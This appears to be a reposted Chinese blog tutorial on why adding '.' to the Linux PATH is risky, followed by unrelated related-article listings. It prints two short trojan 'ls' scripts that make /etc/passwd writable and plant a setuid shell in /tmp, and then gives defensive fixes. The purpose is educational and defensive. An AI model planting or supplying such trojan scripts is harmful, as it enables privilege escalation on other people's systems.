linux path减少,Linux的环境变量PATH中所带来的问题及解决方法
Linux的环境变量PATH中所带来的问题及解决方法
发布时间:2006-01-07 10:08:27来源:红联作者:yo
本文主要讲述“.”在LINUX的环境变量PATH中所带来的问题,及解决的几种方法。
正如很多人所知道的$PATH环境变量里存着一张目录列表,当用户要执行某一程序时,系统就会按照列表中的内容去查找该程序的位置。当程序名前不带点斜线 . / 时$PATH就会起作用。
对于普通用户和root用户$PATH里默认是不包含"."来指定用户的当前目录。这在本机进行脚本开发的程序员来说却不方便,想图省事的人就把点加到了搜索路径中,这就等于在你的系统埋下了险情。
例如:root为了方便使用在他的当前路径末尾加了个点"."(搜索目录为代表当前目录)
命令操作如下:
[root@rh root]# PATH=$PATH:.
[root@rh root]# echo $PATH
/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:.
这下是方便了,直接输入脚本名就能执行。OK,正常情况下一点问题没有,也省去了输入./foo.sh的烦恼(foo.sh是我假设的脚本文件名)。有的root把PATH=$PATH:.这条命令加到了profile里,使所有用户到分享你给他们带来的"福音"。更有胜者root用户竟然PATH=.:$PATH(将":"加到路径前是另一种形式)。正常请况下一点问题没有,直到有一天,张三用户在他的主目录下放了名为lls的脚本,并对root说他的系统出问题了希望root能帮他解决。(其实是一个trap)。Root一上来就su 成管理员权限,紧更着列了一下目录。有可能管理员误敲成了lls,结果哈哈。。。。
以下是个简单的C shell 的例子
#!/bin/csh
If ( ! -o /bin/su )
goto finish
cp /bin/sh /tmp/.sh
chmod 7777 /tmp/.sh
finish :
exec /bin/ls $argv | grep -v ls
稍微变形就有个B shell的
#!/bin/sh
if chmod 666 /etc/passwd > /dev/null 2>&1 ;then
cp /bin/sh /tmp/.sh
chmod 4755 /tmp/.sh
fi
exec ls "$@"
如果root将其环境变量$PATH包含了"."并且其位置先与ls所在的系统目录,那么当用户在/tmp中执行ls时,执行的是上面给出的脚本,而不是实际的ls命令,因为最终还是执行了ls,所以root不会看出有任何异常。如果是root执行了该脚本,就会将口令文件设置为可写,并将shell复制到/tmp保存为.sh,同时设置其setuserid位,所有这一切都非常安静地发生。
在以上这两个程序里,心怀不鬼的人能写入任何令root急的要跳楼的程序,部下陷阱等root来钻,也许root在不知不觉中施行了也根本不会察觉。 也许在张三的主目录下有一个名为ps的脚本里面包含有危险脚本,root可能一到他的机器前就输入了ps,此时系统会首先到当前目录下搜索,结果/sbin/ps却不被执行。类似这样的小花招还有很多。
管理员同志,不要太紧张,下面我说说解决办法。
首先,要养成输绝对路径的良好命令行输入习惯,这样就不会让"不法份子"乘虚而入了。比如,列目录最好用/bin/ls来列目录,不要图方便而冒然输入ls。
其次,根用户(root)不要把"."包括到搜索目录列表里,而普通用户如果个"."包括到搜索列表中的话别,则"."就应当放在搜索目录列表的最后位置上。这样一来普通用户不会受到前面所述的那种危害。
最后,可以在登陆时在/etc/profile 和bashrc .profile文件的末尾添加如下一行
[PATH=`echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://' `
这个简单的sed命令将删除路径里所有的"."包括其另一形式"::"
还可以由crontab调用定期执行
#find / ! -fstype proc '(' -name '.??*' -o -name '.[^.]' ')' > point.txt ; mail -s 'this is a pointlist' root@localhost < point.txt
来搜索所有以点开头的文件,再发送到root的邮箱里,再进行比较等任务。
linux path减少,Linux的环境变量PATH中所带来的问题及解决方法相关推荐
- Myeclipse开发环境下文件中出现的提示错误与解决方法:The import javax.servlet cannot be resolved?
Myeclipse开发环境下文件中出现的提示错误与解决方法:The import javax.servlet cannot be resolved? 参考文章: (1)Myeclipse开发环境下文件 ...
- java编辑环境变量path的路径_环境变量path配置(梦开始的地方)
计算器的命令:calc.exe:记事本的命令:notepad.exe. 如果你想要执行某个应用程序的时候,而我们现在不在这个应用程序所在目录下面,那我们怎么办呢? 一是我去该应用程序所在目录去执行,要 ...
- 系统默认环境变量PATH设置
系统默认环境变量PATH作用 通过设置环境变量PATH,就可以在任何目录下执行设置的工具. 为了方便调用程序,例如你把一个目录的路径加到系统默认环境变量PATH里,那么你可以直接在运行里输入该目录下的 ...
- Linux系统修改环境变量PATH路径
关于PATH的作用: PATH说简单点就是一个字符串变量,当输入命令的时候LINUX会去查找PATH里面记录的路径.比如在 根目录/下可以输入命令ls,在/usr目录下也可以输入ls,但其实ls这个命 ...
- 嵌入式linux 零基础-实践起步 --- 003 --- 交叉编译中环境变量PATH的设定
前言: 在使用arm 嵌入式linux的系统时候,经常遇到的问题就是交叉编译环境的路径设置问题.比如编译工具:编译的时候,经常发生编译工具的路径,选择,版本的问题导致交叉编译出错:本文从export命 ...
- linux path原理,面试题:Linux中的环境变量PATH
首先一点Linux中的每个命令其本质是一个可执行的文件,以ls命令为例.通过命令:$:whereis ls可以查看ls命令的位置在/bin/目录下.当用$:ls -l /bin/ls命令查看文件/bi ...
- Linux——孤儿进程|进程的优先级 用top命令去修改优先级 其他概念 环境变量 PATH 获取环境变量
目录 孤儿进程 进程的优先级 用top命令去修改优先级 其他概念 环境变量 PATH 获取环境变量 习题 孤儿进程 父进程如果提前退出,那么子进程后退出,进入Z之后,那该如何处理呢? 父进程先退出,子 ...
- linux将目录路径加入环境变量中,如何添加路径到PATH环境变量
1.直接用export命令:#export PATH=$PATH:/opt/au1200_rm/build_tools/bin 命令解释: 设置环境变量 PATH 为 /usr/local/arm/3 ...
- 查看linux系统path,Linux中的环境变量PATH
首先一点Linux中的每个命令其本质是一个可执行的文件,以ls命令为例.通过命令:$:whereis ls可以查看ls命令的位置在/bin/目录下.当用$:ls -l /bin/ls命令查看文件/bi ...
最新文章
- 惊呆了!这样可以将Numpy加速700倍!
- WPF 基础到企业应用系列1——开篇故意
- flutter AndroidView简述
- 运行错误代码_Win7系统提示错误代码0xc0000135应该如何解决?
- sqlserver中日期保存及取值
- sqlserver 2005的安装部署
- 计算机网络体系结构及协议
- No resource found that matches the given name 'android:Theme.Material.Light.DarkActionBar'
- 红胖子网络科技博文大全:开发技术集合(包含Qt实用技术、树莓派、三维、OpenCV、OpenGL、ffmpeg、OSG、单片机、软硬结合等等)持续更新中...
- 40Gbit和100Gbit的网络可视性解决方案
- 蘑菇街服务器信息,蘑菇街开放平台
- python足球联赛赛程_足球联赛赛程表工作表
- nm 命令输出项解析
- Android - 修改主题和颜色
- 用断点续存实现视频快速上传
- 华胜天成旗下成员企业沃趣科技为华泰证券IT系统保驾护航
- 2018-2019赛季多校联合新生训练赛第四场
- 报错ConnectionString属性尚未初始化。
- 数字逻辑笔记4逻辑代数的基本定理和规则
- GPU内存分明没人占用但是分配不了内存的解决办法
热门文章
- Dora.Interception,为.NET Core度身打造的AOP框架:全新的版本
- MySQL在EF Core下的Scaffolding操作
- ASP.NET Core 行军记 -----第一步(艰辛的 MVC Hello World)
- thinkphp出现Call to undefined function Think\C() in ... online 313
- Android OkHttp3简介和使用详解
- Android之android8.1打开热点提示UID 10140 does not have Location permission和Location mode is enabled.
- IOS学习笔记七之KVC和Key路径
- linux之tar命令使用总结
- 《看聊天记录都学不会Python到游戏实战?太菜了吧》(7)我用函数写了个特洛伊木马
- dell设置从ssd启动_为什么懂电脑的人都说SSD不要分区?原来真相是这样!